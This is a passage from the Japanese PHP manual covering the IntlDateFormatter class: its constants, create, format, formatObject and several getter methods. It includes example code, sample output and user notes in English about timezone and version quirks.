IntlDateFormatter::MEDIUM と同じですが、 昨日、今日、明日についてはそれぞれ、 yesterday, today, tomorrow になります。 PHP 8.0.0 以降で、dateType に限って利用可能です。
IntlDateFormatter::RELATIVE_SHORT (int)
IntlDateFormatter::SHORT と同じですが、 昨日、今日、明日についてはそれぞれ、 yesterday, today, tomorrow になります。 PHP 8.0.0 以降で、dateType に限って利用可能です。

次の整数定数は、暦の種類を指定するものです。 これらの暦は、すべてグレゴリオ暦にもとづくものです。 グレゴリオ暦以外の暦はロケールで指定しなければなりません。 たとえば、 locale="hi@calendar=BUDDHIST" のようになります。

IntlDateFormatter::TRADITIONAL (int)
非グレゴリオ暦
IntlDateFormatter::GREGORIAN (int)
グレゴリオ暦

目次

  • IntlDateFormatter::create — Date Formatter を作成する
  • IntlDateFormatter::format — 日付/時刻 の値を文字列としてフォーマットする
  • IntlDateFormatter::formatObject — オブジェクトの書式を設定する
  • IntlDateFormatter::getCalendar — IntlDateFormatter が使用するカレンダー型を取得する
  • IntlDateFormatter::getDateType — IntlDateFormatter が使用する日付形式を取得する
  • IntlDateFormatter::getErrorCode — 直近の操作のエラーコードを取得する
  • IntlDateFormatter::getErrorMessage — 直近の操作のエラーテキストを取得する
  • IntlDateFormatter::getLocale — Formatter が使用するロケールを取得する
  • IntlDateFormatter::getPattern — IntlDateFormatter が使用するパターンを取得する
  • IntlDateFormatter::getTimeType — IntlDateFormatter が使用する時刻形式を取得する
  • IntlDateFormatter::getTimeZoneId — IntlDateFormatter が使用するタイムゾーン ID を取得する
  • IntlDateFormatter::getCalendarObject — カレンダーオブジェクトのコピーを取得する
  • IntlDateFormatter::getTimeZone — タイムゾーンを取得する
  • IntlDateFormatter::isLenient — IntlDateFormatter で使用する寛大さを取得する
  • IntlDateFormatter::localtime — 文字列をパースして、フィールドベースの時刻値にする
  • IntlDateFormatter::parse — 文字列をパースしてタイムスタンプにする
  • IntlDateFormatter::setCalendar — Formatter が使うカレンダー型を設定する
  • IntlDateFormatter::setLenient — パーサの寛大さを設定する
  • IntlDateFormatter::setPattern — IntlDateFormatter が使用するパターンを設定する
  • IntlDateFormatter::setTimeZone — タイムゾーンを設定する

User Contributed Notes

There are no user contributed notes for this page.


Date Formatter を作成する

  • ≪ IntlDateFormatter
  • IntlDateFormatter::format ≫
  • PHP Manual
  • IntlDateFormatter
  • Date Formatter を作成する

IntlDateFormatter::create

datefmt_create

IntlDateFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::create -- datefmt_create -- IntlDateFormatter::__construct — Date Formatter を作成する

説明

オブジェクト指向型

public static IntlDateFormatter::create ( string|null $locale , int $dateType , int $timeType , IntlTimeZone|DateTimeZone|string|null $timezone = null , IntlCalendar|int|null $calendar = null , string $pattern = "" ) : IntlDateFormatter|null

オブジェクト指向型 (コンストラクタ)

public IntlDateFormatter::__construct ( string|null $locale , int $dateType , int $timeType , IntlTimeZone|DateTimeZone|string|null $timezone = null , IntlCalendar|int|null $calendar = null , string $pattern = "" )

手続き型

datefmt_create ( string|null $locale , int $dateType , int $timeType , IntlTimeZone|DateTimeZone|string|null $timezone = null , IntlCalendar|int|null $calendar = null , string $pattern = "" ) : IntlDateFormatter|null

Date Formatter を作成します。

パラメータ

locale

フォーマットやパースの際に使用するロケール。null を指定すると、 ini 設定 intl.default_locale の値を使います。

dateType

使用する日付の形式 (none, short, medium, long, full)。 IntlDateFormatter の定数 のいずれかとなります。 null を指定すると、ICU のデフォルトの日付型を使います。

timeType

使用する時刻の形式 (none, short, medium, long, full)。 IntlDateFormatter の定数 のいずれかとなります。 null を指定すると、ICU のデフォルトの時刻型を使います。

timezone

タイムゾーン ID。デフォルト (そして、null が渡されたときにも使われるもの) は date_default_timezone_get() が返す ID、あるいは calendar パラメータに IntlCalendar オブジェクトが渡されていればそのタイムゾーンを使います。 この ID は、ICU のデータベースにある妥当な識別子である必要があります。あるいは、 オフセットを明示した GMT-05:30 のような形式になります。

IntlTimeZone オブジェクトあるいは DateTimeZone オブジェクトも指定できます。

calendar

フォーマットやパースの際に使用するカレンダー。デフォルトは null で、 これは IntlDateFormatter::GREGORIAN を表します。 IntlDateFormatter のカレンダー定数 あるいは IntlCalendar を指定します。 渡された IntlCalendar は、クローンされます。 IntlDateFormatter によって元のオブジェクトが書き換えられることはありません。 これは、利用するカレンダーの型 (グレゴリオ暦、イスラム暦、ペルシア暦など) の判定に使います。 また、timezone パラメータに null を指定した場合にはタイムゾーンの判定にも使います。

pattern

フォーマットやパースの際に使用するオプションのパターン。 使えるパターンについては » https://unicode-org.github.io/icu/userguide/format_parse/datetime/ を参照ください。

返り値

作成された IntlDateFormatter を返します。失敗した場合は null を返します。

変更履歴

バージョン | 説明
5.5.0/PECL 3.0.0 | IntlCalendar オブジェクトを calendar に渡せるようになりました。 IntlTimeZone オブジェクトや DateTimeZone オブジェクトを timezone に渡せるようになりました。 無効なタイムゾーン ID (空文字列を含む) を timezone で指定できなくなりました。 timezone に null を指定した場合は、ICU のデフォルトではなく date_default_timezone_get() が返すタイムゾーンを使うようになりました。

例

例1 datefmt_create() の例

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles', IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
      'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Second Formatted output with pattern is ".$fmt->format(0);
?>

上の例の出力は以下となります。

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

参考

  • datefmt_format() - 日付/時刻 の値を文字列としてフォーマットする
  • datefmt_parse() - 文字列をパースしてタイムスタンプにする
  • datefmt_get_error_code() - 直近の操作のエラーコードを取得する
  • datefmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

Anonymous 13-Jul-2018 05:31
The documentation says that $datetype and $timetype can also be NULL,  in which case ICU?s default date type or time type will be used.

But when declare (strict_types=1); is also set, Intl fails to create the IntlDateFormatter class, and it returns an error "datefmt_create: unable to parse input parameters".
mikko dot rantalainen at peda dot net 29-Mar-2012 01:08
Documentation says "timezone: Time zone ID, default is system default."

The "system default" really means only the "TZ" environment variable on Unix/Linux systems. It does not mean PHP ini setting or value set via date_default_timezone_set() or the OS default time zone in file "/etc/timezone".
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 07:41
It should be noted that the locale string passed into IntlDateFormatter's constructor supports UCA keywords. So you can, for example, do things like this to output the year as a Japanese era year:

<?php
$now = new DateTime();    //DateTime is a core PHP class as of version 5.2.0

$formatter = new IntlDateFormatter('ja_JP', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::GREGORIAN);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "2011年8月19日金曜日 23時32分27秒JST" in Tokyo]

$formatter = new IntlDateFormatter('ja_JP@calendar=japanese', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::TRADITIONAL);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "平成23年8月19日金曜日 23時32分27秒JST" in Tokyo]
?>


日付/時刻 の値を文字列としてフォーマットする

  • ≪ IntlDateFormatter::create
  • IntlDateFormatter::formatObject ≫
  • PHP Manual
  • IntlDateFormatter
  • 日付/時刻 の値を文字列としてフォーマットする

IntlDateFormatter::format

datefmt_format

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::format -- datefmt_format — 日付/時刻 の値を文字列としてフォーマットする

説明

オブジェクト指向型

public IntlDateFormatter::format ( IntlCalendar|DateTimeInterface|array|string|int|float $datetime ) : string|false

手続き型

datefmt_format ( IntlDateFormatter $formatter , IntlCalendar|DateTimeInterface|array|string|int|float $datetime ) : string|false

時刻の値を文字列としてフォーマットします。

パラメータ

formatter

Date Formatter リソース。

datetime

フォーマットする値。DateTimeInterface オブジェクト、 IntlCalendar オブジェクト、 epoch からの経過秒数を表す数値 (小数になる可能性もある)、 あるいは localtime() が出力する形式の配列となります。

DateTime オブジェクトあるいは IntlCalendar オブジェクトを渡した場合は、 そのタイムゾーンは考慮しません。これらをフォーマットするときに使うのは、 フォーマッターで設定されているタイムゾーンです。 渡したオブジェクトのタイムゾーンを使って欲しい場合は、 IntlDateFormatter::setTimeZone() を呼んでそのオブジェクトのタイムゾーンを設定しておかなければいけません。 あるいは、静的関数 IntlDateFormatter::formatObject() をかわりに使ってもかまいません。

返り値

フォーマットされた文字列、あるいはエラーが発生した場合は false を返します。

変更履歴

バージョン | 説明
7.1.5 | datetime パラメータに 一般的な DateTimeInterface オブジェクトのサポートが追加されました。 これより前のバージョンでは、DateTime オブジェクトのみがサポートされていました。
PECL 3.0.0 | IntlCalendar オブジェクトを datetime に渡せるようになりました。

例

例1 datefmt_format() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo "Second Formatted output with pattern is " . datefmt_format($fmt, 0);
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'Second Formatted output with pattern is ' . $fmt->format(0);
?>

上の例の出力は以下となります。

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

例3 IntlCalendar オブジェクトを使う例

<?php
$tz = reset(iterator_to_array(IntlTimeZone::createEnumeration('FR')));
$formatter = IntlDateFormatter::create(
    'fr_FR',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    $tz,
    IntlDateFormatter::GREGORIAN
);

$cal = IntlCalendar::createInstance($tz, '@calendar=islamic-civil');
$cal->set(IntlCalendar::FIELD_MONTH, 8); //9th month, Ramadan
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 1); //1st day
$cal->clear(IntlCalendar::FIELD_HOUR_OF_DAY);
$cal->clear(IntlCalendar::FIELD_MINUTE);
$cal->clear(IntlCalendar::FIELD_SECOND);
$cal->clear(IntlCalendar::FIELD_MILLISECOND);

echo "In this islamic year, Ramadan started/will start on:\n\t",
        $formatter->format($cal), "\n";

// フォーマッターのタイムゾーンを利用します
$formatter->setTimeZone('Asia/Tokyo');
echo "After changing timezone:\n\t",
        $formatter->format($cal), "\n";

上の例の出力は以下となります。

In this islamic year, Ramadan started/will start on:
    mardi 9 juillet 2013 19:00:00 heure avancee d'Europe centrale
After changing timezone:
    mercredi 10 juillet 2013 02:00:00 heure normale du Japon

参考

  • datefmt_create() - Date Formatter を作成する
  • datefmt_parse() - 文字列をパースしてタイムスタンプにする
  • datefmt_get_error_code() - 直近の操作のエラーコードを取得する
  • datefmt_get_error_message() - 直近の操作のエラーテキストを取得する
  • datefmt_format_object() - オブジェクトの書式を設定する

User Contributed Notes

mail dot dennisbecker at gmail dot com 06-Feb-2013 04:38
You should know that PHPs IntlDateFormatter class uses ISO date format codes instead of PHPs date() format codes. It is not really clear mentioned from my point of view.

A good list to find ISO codes is available at http://framework.zend.com/manual/1.12/en/zend.date.constants.html#zend.date.constants.selfdefinedformats and such a list should be added here, too.
con at bartrail dot de 07-Oct-2011 04:47
I hope this will save some time for others who have to struggle with different php versions on dev and prod plattform in the future:

when formatting a DateTime object with a *custom pattern*, be sure to use a timestamp to pass at the IntlDateFormatter::format in order to have it working on different php versions:

Example for PHP Version 5.3.5-1ubuntu7.2 (my dev machine):
<?php
$date = new \DateTime();

$dateFormatter = \IntlDateFormatter::create(
  \Locale::getDefault(),
  \IntlDateFormatter::NONE,
  \IntlDateFormatter::NONE,
  \date_default_timezone_get(),
  \IntlDateFormatter::GREGORIAN,
  'EEEE'
);

var_dump($dateFormatter->format($date)); // string(6) "Monday"
?>

Example for PHP Version 5.3.2-1ubuntu4.9 (the prod server):
<?php
// same formatting as above

var_dump($dateFormatter->format($date)); // bool(false)
?>

When using $dateFormatter->format($date->getTimestamp()), you'll always get the formatted and localized string instead of a false.
alex 19-May-2010 11:10
It's important to note that a conversion of timezones will be made from the default timezone (date_default_timezone_set()) and the timezone you passed in the constructor (or datefmt_create()).

If you are inserting the dates into your database as UTC time, make sure to set date_default_timezone_set to UTC as well (or any other timezone, but they need to be the same). Once you call ::format, you will get the converted time.


オブジェクトの書式を設定する

  • ≪ IntlDateFormatter::format
  • IntlDateFormatter::getCalendar ≫
  • PHP Manual
  • IntlDateFormatter
  • オブジェクトの書式を設定する

IntlDateFormatter::formatObject

datefmt_format_object

(PHP 5 >= 5.5.0, PHP 7, PECL intl >= 3.0.0)

IntlDateFormatter::formatObject -- datefmt_format_object — オブジェクトの書式を設定する

説明

オブジェクト指向型

public static IntlDateFormatter::formatObject ( IntlCalendar|DateTime $datetime , array|int|string|null $format = null , string|null $locale = null ) : string|false

手続き型

datefmt_format_object ( IntlCalendar|DateTimeInterface $datetime , array|int|string|null $format = null , string|null $locale = null ) : string|false

この関数は、IntlCalendar オブジェクトや DateTime オブジェクトをフォーマットします。その際、明示的に IntlDateFormatter オブジェクトを作る必要はありません。

一時的な IntlDateFormatter が作られ、 渡されたオブジェクトのタイムゾーンを受け取ります。PHP に組み込まれているタイムゾーンデータベースは使いません。 そのかわりに、ICU のタイムゾーンデータベースを使います。 したがって、DateTime オブジェクトで使うタイムゾーン ID は ICU のデータベースに存在するものでなければいけません。

パラメータ

datetime

IntlCalendar あるいは DateTime 型のオブジェクト。 このオブジェクトの中のタイムゾーン情報を使います。

format

日付/時刻のフォーマット方法。二つの要素からなる配列 (最初の要素が日付のスタイル、二番目の要素が時刻のスタイル。それぞれ、定数 IntlDateFormatter::NONE、 IntlDateFormatter::SHORT、 IntlDateFormatter::MEDIUM、 IntlDateFormatter::LONG、 IntlDateFormatter::FULL のいずれか)、 これらの定数のいずれかの値を表す int 型 (日付と時刻の両方に使います)、あるいは » ICU のドキュメント にあるフォーマットを表す文字列を指定します。null を渡した場合はデフォルトのスタイルを使います。

locale

利用するロケール。null を渡した場合は デフォルトのロケール を使います。

返り値

結果を文字列で返します。失敗した場合に false を返します。

例

例1 IntlDateFormatter::formatObject() の例

<?php
/* デフォルトのタイムゾーンは利用せず、オブジェクトのタイムゾーンを取得します */
ini_set('date.timezone', 'UTC');
/* デフォルトのロケールは、この ini 設定から取得します */
ini_set('intl.default_locale', 'fr_FR');

$cal = IntlCalendar::fromDateTime("2013-06-06 17:05:06 Europe/Dublin");
echo "default:\n\t",
        IntlDateFormatter::formatObject($cal),
        "\n";

echo "long \$format (full):\n\t",
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL),
        "\n";

echo "array \$format (none, full):\n\t",
        IntlDateFormatter::formatObject($cal, array(
                IntlDateFormatter::NONE,
                IntlDateFormatter::FULL)),
        "\n";

echo "string \$format (d 'of' MMMM y):\n\t",
        IntlDateFormatter::formatObject($cal, "d 'of' MMMM y", 'en_US'),
        "\n";

echo "with DateTime:\n\t",
        IntlDateFormatter::formatObject(
                new DateTime("2013-09-09 09:09:09 Europe/Madrid"),
                IntlDateFormatter::FULL,
                'es_ES'),
        "\n";

上の例の出力は以下となります。

default:
    6 juin 2013 17:05:06
long $format (full):
    jeudi 6 juin 2013 17:05:06 heure d'ete irlandaise
array $format (none, full):
    17:05:06 heure d'ete irlandaise
string $format (d 'of' MMMM y):
    6 of June 2013
with DateTime:
    lunes, 9 de septiembre de 2013 09:09:09 Hora de verano de Europa central

User Contributed Notes

sebastian at huehnerhose dot de 14-Jun-2017 12:37
It's still slower on php7.1, but not that dramatic anymore, here I got something around 5times slower
ferenczi dot krisztian at gmail dot com 13-Aug-2015 01:56
`format` vs static `formatObject`

The `formatObject` is slower! `format` is more then 10-13 times faster! (on PHP 5.5) Use the `format` method instead of the static `formatObject`.

php -v
PHP 5.5.26-1+deb.sury.org~precise+1 (cli) (built: Jun 15 2015 10:04:01)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
    with Xdebug v2.3.2, Copyright (c) 2002-2015, by Derick Rethans

<?php
$n = 3000;

$dt = new \DateTime('2015-01-03 12:32:44');
$df = new IntlDateFormatter('hu_HU', IntlDateFormatter::SHORT, IntlDateFormatter::NONE);
$df->setPattern('MMMM dd');

$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = IntlDateFormatter::formatObject($dt, 'MMMM dd', 'hu_HU');
}
echo "$a\n";
$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = $df->format($dt);
}
echo "$a\n";
$time[] = microtime(true);

for($j=1;$j<count($time);$j++) {
    printf("%fs\n", $time[$j]-$time[$j-1]);
}
?>

`formatObject` : 0.458248 s
`format` : 0.033759 s


IntlDateFormatter が使用するカレンダー型を取得する

  • ≪ IntlDateFormatter::formatObject
  • IntlDateFormatter::getDateType ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用するカレンダー型を取得する

IntlDateFormatter::getCalendar

datefmt_get_calendar

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getCalendar -- datefmt_get_calendar — IntlDateFormatter が使用するカレンダー型を取得する

説明

オブジェクト指向型

public IntlDateFormatter::getCalendar ( ) : int|false

手続き型

datefmt_get_calendar ( IntlDateFormatter $formatter ) : int|false

パラメータ

formatter

Formatter リソース。

返り値

Formatter が使用する カレンダー型 を返します。 IntlDateFormatter::TRADITIONAL あるいは IntlDateFormatter::GREGORIAN です。 失敗時に false を返します。

例

例1 datefmt_get_calendar() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();

?>

上の例の出力は以下となります。

calendar of the formatter is : 1
Now calendar of the formatter is : 0

参考

  • datefmt_get_calendar_object() - カレンダーオブジェクトのコピーを取得する
  • datefmt_set_calendar() - Formatter が使うカレンダー型を設定する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter が使用する日付形式を取得する

  • ≪ IntlDateFormatter::getCalendar
  • IntlDateFormatter::getErrorCode ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用する日付形式を取得する

IntlDateFormatter::getDateType

datefmt_get_datetype

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getDateType -- datefmt_get_datetype — IntlDateFormatter が使用する日付形式を取得する

説明

オブジェクト指向型

public IntlDateFormatter::getDateType ( ) : int|false

手続き型

datefmt_get_datetype ( IntlDateFormatter $formatter ) : int|false

Formatter が使用する日付形式を返します。

パラメータ

formatter

Formatter リソース。

返り値

Formatter の現在の 日付形式 の値を返します。 失敗した場合に false を返します

例

例1 datefmt_get_datetype() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'First Formatted output with datetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::SHORT,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'Second Formatted output with datetype is ' . datefmt_format($fmt, 0);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . $fmt->getDateType();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::SHORT,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . $fmt->getDateType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

上の例の出力は以下となります。

datetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now datetype of the formatter is : 2
Second Formatted output is 12/31/69 4:00:00 PM PT

参考

  • datefmt_get_timetype() - IntlDateFormatter が使用する時刻形式を取得する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


直近の操作のエラーコードを取得する

  • ≪ IntlDateFormatter::getDateType
  • IntlDateFormatter::getErrorMessage ≫
  • PHP Manual
  • IntlDateFormatter
  • 直近の操作のエラーコードを取得する

IntlDateFormatter::getErrorCode

datefmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorCode -- datefmt_get_error_code — 直近の操作のエラーコードを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getErrorCode ( ) : int

手続き型

datefmt_get_error_code ( IntlDateFormatter $formatter ) : int

直近の操作のエラーコードを取得します。 直近の数値フォーマット操作のエラーコードを返します。

パラメータ

formatter

Formatter リソース。

返り値

エラーコードを返します。UErrorCode のいずれかの値となります。初期値は U_ZERO_ERROR です。

例

例1 datefmt_get_error_code() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
    printf(
        "ERROR: %s (%d)\n",
        datefmt_get_error_message($fmt),
        datefmt_get_error_code($fmt)
    );
}
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if (!$str) {
    printf(
        "ERROR: %s (%d)\n",
        $fmt->getErrorMessage(),
        $fmt->getErrorCode()
    );
}
?>

上の例の出力は以下となります。

ERROR: U_ZERO_ERROR (0)

参考

  • datefmt_get_error_message() - 直近の操作のエラーテキストを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


直近の操作のエラーテキストを取得する

  • ≪ IntlDateFormatter::getErrorCode
  • IntlDateFormatter::getLocale ≫
  • PHP Manual
  • IntlDateFormatter
  • 直近の操作のエラーテキストを取得する

IntlDateFormatter::getErrorMessage

datefmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorMessage -- datefmt_get_error_message — 直近の操作のエラーテキストを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getErrorMessage ( ) : string

手続き型

datefmt_get_error_message ( IntlDateFormatter $formatter ) : string

直近の操作のエラーテキストを取得します。

パラメータ

formatter

Formatter リソース。

返り値

直近のエラーの説明を返します。

例

例1 datefmt_get_error_message() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
    printf(
        "ERROR: %s (%d)\n",
        datefmt_get_error_message($fmt),
        datefmt_get_error_code($fmt)
    );
}
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if(!$str) {
    printf(
        "ERROR: %s (%d)\n",
        $fmt->getErrorMessage(),
        $fmt->getErrorCode()
    );
}

?>

上の例の出力は以下となります。

ERROR: U_ZERO_ERROR (0)

参考

  • datefmt_get_error_code() - 直近の操作のエラーコードを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Formatter が使用するロケールを取得する

  • ≪ IntlDateFormatter::getErrorMessage
  • IntlDateFormatter::getPattern ≫
  • PHP Manual
  • IntlDateFormatter
  • Formatter が使用するロケールを取得する

IntlDateFormatter::getLocale

datefmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getLocale -- datefmt_get_locale — Formatter が使用するロケールを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getLocale ( int $type = ULOC_ACTUAL_LOCALE ) : string|false

手続き型

datefmt_get_locale ( IntlDateFormatter $formatter , int $type = ULOC_ACTUAL_LOCALE ) : string|false

Formatter が使用するロケールを取得します。

パラメータ

formatter

Formatter リソース。

type

妥当なロケールか実際のロケール (それぞれ Locale::VALID_LOCALE、 Locale::ACTUAL_LOCALE) のいずれかを選択します。デフォルトは「実際の (actual)」ロケールです。

返り値

この Formatter のロケールを返します。 失敗した場合に false を返します

例

例1 datefmt_get_locale() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . datefmt_get_locale($fmt);
echo 'First Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . datefmt_get_locale($fmt);
